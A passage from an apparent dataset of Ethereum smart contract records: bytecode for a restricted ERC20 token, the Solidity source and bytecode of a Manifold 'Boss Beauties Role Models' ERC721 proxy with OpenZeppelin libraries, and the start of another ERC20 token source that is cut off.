5b6001600160a01b038116610b225760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bdf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f9565b6001600160a01b038216610c405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f9565b6001600160a01b038216610d675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f9565b60008111610dc95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f9565b6000546001600160a01b03848116911614801590610df557506000546001600160a01b03838116911614155b156110d657601554600160a01b900460ff16610e8e576000546001600160a01b03848116911614610e8e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f9565b601654811115610ee05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f9565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2257506001600160a01b03821660009081526010602052604090205460ff16155b610f7a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f9565b6015546001600160a01b03838116911614610fff5760175481610f9c846107da565b610fa69190611d17565b10610fff5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f9565b600061100a306107da565b6018546016549192508210159082106110235760165491505b80801561103a5750601554600160a81b900460ff16155b801561105457506015546001600160a01b03868116911614155b80156110695750601554600160b01b900460ff165b801561108e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110b357506001600160a01b03841660009081526005602052604090205460ff16155b156110d3576110c182611320565b4780156110d1576110d147611217565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061111857506001600160a01b03831660009081526005602052604090205460ff165b8061114a57506015546001600160a01b0385811691161480159061114a57506015546001600160a01b03848116911614155b15611157575060006111d1565b6015546001600160a01b03858116911614801561118257506014546001600160a01b03848116911614155b1561119457600854600c55600954600d555b6015546001600160a01b0384811691161480156111bf57506014546001600160a01b03858116911614155b156111d157600a54600c55600b54600d555b610a5e848484846114c5565b600081848411156112015760405162461bcd60e51b81526004016105f99190611c1f565b50600061120e8486611d6e565b95945050505050565b6012546001600160a01b03166108fc6112318360026114f3565b6040518115909202916000818181858888f19350505050158015611259573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112748360026114f3565b6040518115909202916000818181858888f19350505050158015610678573d6000803e3d6000fd5b60006006548211156113035760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f9565b600061130d611535565b905061131983826114f3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061137657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113ca57600080fd5b505afa1580156113de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140291906119b7565b8160018151811061142357634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546114499130911684610b7d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611482908590600090869030904290600401611ca7565b600060405180830381600087803b15801561149c57600080fd5b505af11580156114b0573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114d2576114d2611558565b6114dd848484611586565b80610a5e57610a5e600e54600c55600f54600d55565b600061131983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061167d565b60008060006115426116ab565b909250905061155182826114f3565b9250505090565b600c541580156115685750600d54155b1561156f57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611598876116eb565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115ca9087611748565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115f9908661178a565b6001600160a01b03891660009081526002602052604090205561161b816117e9565b6116258483611833565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166a91815260200190565b60405180910390a3505050505050505050565b6000818361169e5760405162461bcd60e51b81526004016105f99190611c1f565b50600061120e8486611d2f565b6006546000908190671bafa9ee16e780006116c682826114f3565b8210156116e257505060065492671bafa9ee16e7800092509050565b90939092509050565b60008060008060008060008060006117088a600c54600d54611857565b9250925092506000611718611535565b9050600080600061172b8e8787876118ac565b919e509c509a509598509396509194505050505091939550919395565b600061131983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111dd565b6000806117978385611d17565b9050838110156113195760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f9565b60006117f3611535565b9050600061180183836118fc565b3060009081526002602052604090205490915061181e908261178a565b30600090815260026020526040902055505050565b6006546118409083611748565b600655600754611850908261178a565b6007555050565b6000808080611871606461186b89896118fc565b906114f3565b90506000611884606461186b8a896118fc565b9050600061189c826118968b86611748565b90611748565b9992985090965090945050505050565b60008080806118bb88866118fc565b905060006118c988876118fc565b905060006118d788886118fc565b905060006118e9826118968686611748565b939b939a50919850919650505050505050565b60008261190b5750600061068d565b60006119178385611d4f565b9050826119248583611d2f565b146113195760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f9565b803561198681611dcc565b919050565b8035801515811461198657600080fd5b6000602082840312156119ac578081fd5b813561131981611dcc565b6000602082840312156119c8578081fd5b815161131981611dcc565b600080604083850312156119e5578081fd5b82356119f081611dcc565b91506020830135611a0081611dcc565b809150509250929050565b600080600060608486031215611a1f578081fd5b8335611a2a81611dcc565b92506020840135611a3a81611dcc565b929592945050506040919091013590565b60008060408385031215611a5d578182fd5b8235611a6881611dcc565b946020939093013593505050565b600080600060408486031215611a8a578283fd5b833567ffffffffffffffff80821115611aa1578485fd5b818601915086601f830112611ab4578485fd5b813581811115611ac2578586fd5b8760208260051b8501011115611ad6578586fd5b602092830195509350611aec918601905061198b565b90509250925092565b60006020808385031215611b07578182fd5b823567ffffffffffffffff80821115611b1e578384fd5b818501915085601f830112611b31578384fd5b813581811115611b4357611b43611db6565b8060051b604051601f19603f83011681018181108582111715611b6857611b68611db6565b604052828152858101935084860182860187018a1015611b86578788fd5b8795505b83861015611baf57611b9b8161197b565b855260019590950194938601938601611b8a565b5098975050505050505050565b600060208284031215611bcd578081fd5b6113198261198b565b600060208284031215611be7578081fd5b5035919050565b60008060008060808587031215611c03578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c4b57858101830151858201604001528201611c2f565b81811115611c5c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cf65784516001600160a01b031683529383019391830191600101611cd1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d2a57611d2a611da0565b500190565b600082611d4a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d6957611d69611da0565b500290565b600082821015611d8057611d80611da0565b500390565b6000600019821415611d9957611d99611da0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107d757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209b45de6f3ae0018a63a900526989c445632e2129d8e492f630b59ae710bce47564736f6c63430008040033
[ 13 ]
0xf395ab6307d2d8cde9c991694343346ff24252ca
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Boss Beauties Role Models /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////// // // // // // // // // // // // ╓▄▓▓███████████▓▓▄▄▄▄▄, ,▄▄▄▄▄▓▓████████████▓▄▄ // // ▄▓██▀▀▀▀╙▀▀▀▀██████████████▒ 1▓█████████████▀▀▀▀▀╙▀▀▀███▄ // // █▀└ └╙▀▀███████▌ "███████▀▀╙└` └╙█▄ // // └ Ω └╙▀█▌⌐ ╣█▀▀└ j └ // // ,\╘ ╟µ.;¡░░░░;- .;;░░░░░;..▓ ╛╒. // // , ½\Å▄▓▓╬▓▓██▓█▀▀███▄▄░. .░▄▄▓███▀███▓█▄▓▓█▒#é╒,. // // ⁿ %▓▓▓███▀▀└ ]░░▐▓▓░░╙▀▀▄, ;▄▓▀╙░░▓▓▌░░▒ '╙▀█████▓#░- // // └╟╝▓██▄ ╚░░╙╙░░╩ ╙¼ ' ▄▀. ╚░░╙╙░░▒ ,▓███╬└' // // ║╙╙╙▀▀╗▄µ╓░░▒▒` └ " Σ▒░░░,▄▄#▀▀╙╩╚¬ // // " // // // // ' // // ' 'Γ // // . . ' - // // . " . ∩ // // ░ ' // // // // ' // // // // . ; // // . "░⌐ ≥⌐ ≥⌐ ░░ , // // █ ▓ // // █⌐ ]█ // // █▌ ╫█ // // ██µ ,▄▄▄▄▄ ,▄▄▓▄▄ ]██ // // ███ ,▄▓███████████████████▓▄, ███ // // ████ ,▄▓████████▀▀███████▀▀▓███████▓▄ ▓███ // // ████▌ ╙█████▓██▄▄█╓ ╠ ▐█▓▓███████└ ▓████ // // ██████ ▀██████████████▓██████████████▀ ▓█████ // // ███████ ╙▓█████████▓▓▓█▓█▓▓████████▀` ███████ // // ████████µ ╙▀███████▓▓▓█▓█████████▀. ╓████████ // // █████████▌ └╙▀█████████████▀╙─ ▄█████████ // // ███████████▄ `└└└└└` ╓███████████ // // █████████████, ,█████████████ // // // // // // // // // //////////////////////////////////////////////////////////////////////////////////////////////// contract ROLEMODELS is ERC721Creator { constructor() ERC721Creator("Boss Beauties Role Models", "ROLEMODELS") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220a52fada90e17b292ff0652f2839e01aef53892723b8bab927793614438f752d864736f6c63430008070033
[ 5 ]
0xf396717ef502f29ad7173373e42eafa966d3256e
/** *Submitted for verification at Etherscan.io on 2022-01-21 */ /** *Submitted for verification at Etherscan.io on 2022-01-21 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } function div(int256 a, int256 b) internal pure returns (int256) { require(b != -1 || a != MIN_INT256); return a / b; } function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, 